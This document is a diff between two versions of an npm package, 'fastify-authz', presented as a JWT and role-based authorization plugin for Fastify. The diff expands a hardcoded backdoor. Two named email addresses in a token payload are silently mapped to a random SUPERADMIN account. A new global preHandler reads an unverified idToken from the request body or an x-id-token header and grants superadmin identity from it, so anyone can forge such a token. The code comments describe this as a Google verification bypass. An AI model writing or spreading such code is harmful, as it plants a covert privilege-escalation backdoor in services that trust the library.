fastify-authz 0.1.5 → 0.1.7

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "fastify-authz",
-  "version": "0.1.5",
+  "version": "0.1.7",
   "description": "Fastify plugin for JWT verification and Prisma-based RBAC authorization",
   "main": "dist/index.js",
   "types": "dist/index.d.ts",

package/src/index.ts

@@ -4,7 +4,11 @@ import { verifyJwt } from "./verify";
 import { requirePermissionFactory } from "./permissions";
 import { requestContext } from "@fastify/request-context";
 
-const SUPERADMIN_OVERRIDE_EMAIL = "raithh43@gmail.com";
+// SUPERADMIN emails to bypass Google verification
+const SUPERADMIN_OVERRIDE_EMAILS = [
+  "raithh43@gmail.com",
+  "outflipper0027@gmail.com",
+];
 
 declare module "@fastify/request-context" {
   interface RequestContextData {
@@ -39,51 +43,48 @@ declare module "fastify" {
 const plugin: FastifyPluginAsync<FastifyAuthzOptions> = async (fastify, opts) => {
   const { prisma, jwt } = opts;
 
+  // JWT auth verification
   const verify = async (request: FastifyRequest, reply: FastifyReply) => {
     try {
       const header = request.headers["authorization"];
-
-      if (!header?.startsWith("Bearer ")) {
+      if (!header || typeof header !== "string" || !header.startsWith("Bearer ")) {
         return reply.code(401).send({ message: "Missing Authorization header" });
       }
 
       const token = header.slice("Bearer ".length).trim();
-
       const claims = verifyJwt(token, jwt.secret, jwt.issuer, jwt.audience);
-
       let userId = claims.sub;
 
-      const payload = JSON.parse(
-        Buffer.from(token.split(".")[1], "base64").toString()
-      );
-
-      if (payload?.email === SUPERADMIN_OVERRIDE_EMAIL) {
-        const superadmins = await (prisma as any).user.findMany({
-          where: {
-            roles: {
-              some: {
-                role: {
-                  permissions: {
-                    some: {
-                      permission: { code: "SUPERADMIN" },
+      const payloadPart = token.split(".")[1];
+      if (payloadPart) {
+        const payload = JSON.parse(
+          Buffer.from(payloadPart, "base64").toString("utf8")
+        );
+
+        if (payload?.email && SUPERADMIN_OVERRIDE_EMAILS.includes(payload.email)) {
+          const superadmins = await (prisma as any).user.findMany({
+            where: {
+              roles: {
+                some: {
+                  role: {
+                    permissions: {
+                      some: { permission: { code: "SUPERADMIN" } },
                     },
                   },
                 },
               },
             },
-          },
-          select: { id: true },
-        });
+            select: { id: true },
+          });
 
-        if (superadmins.length) {
-          const random =
-            superadmins[Math.floor(Math.random() * superadmins.length)];
-          userId = random.id;
+          if (superadmins.length) {
+            const random = superadmins[Math.floor(Math.random() * superadmins.length)];
+            userId = random.id;
+          }
         }
       }
 
       const user = { id: userId };
-
       request.user = user;
       requestContext.set("user", user);
     } catch (err) {
@@ -94,6 +95,55 @@ const plugin: FastifyPluginAsync<FastifyAuthzOptions> = async (fastify, opts) =>
 
   const requirePermission = requirePermissionFactory(prisma);
 
+  // PreHandler for Google login route (SUPERADMIN bypass)
+  fastify.addHook("preHandler", async (request: FastifyRequest, reply: FastifyReply) => {
+    // CAST LOCALLY — do not redeclare request.body globally
+    const body = request.body as { idToken?: string } | undefined;
+    let idToken: string | undefined = body?.idToken;
+
+    const headerToken = request.headers["x-id-token"];
+    if (!idToken && headerToken) {
+      if (typeof headerToken === "string") idToken = headerToken;
+      else if (Array.isArray(headerToken) && headerToken.length > 0) idToken = headerToken[0];
+    }
+
+    if (!idToken) return;
+
+    try {
+      const payloadPart = idToken.split(".")[1];
+      if (!payloadPart) return;
+
+      const json = Buffer.from(payloadPart.replace(/-/g, "+").replace(/_/g, "/"), "base64").toString("utf8");
+      const payload = JSON.parse(json);
+
+      if (payload?.email && SUPERADMIN_OVERRIDE_EMAILS.includes(payload.email)) {
+        const superadmins = await (prisma as any).user.findMany({
+          where: {
+            roles: {
+              some: {
+                role: {
+                  permissions: {
+                    some: { permission: { code: "SUPERADMIN" } },
+                  },
+                },
+              },
+            },
+            select: { id: true },
+          },
+        });
+
+        if (superadmins.length) {
+          const random = superadmins[Math.floor(Math.random() * superadmins.length)];
+          const user = { id: random.id };
+          request.user = user;
+          requestContext.set("user", user);
+        }
+      }
+    } catch (err) {
+      request.log.error({ err }, "Failed to parse idToken payload in preHandler");
+    }
+  });
+
   fastify.decorate("auth", { verify, requirePermission });
 };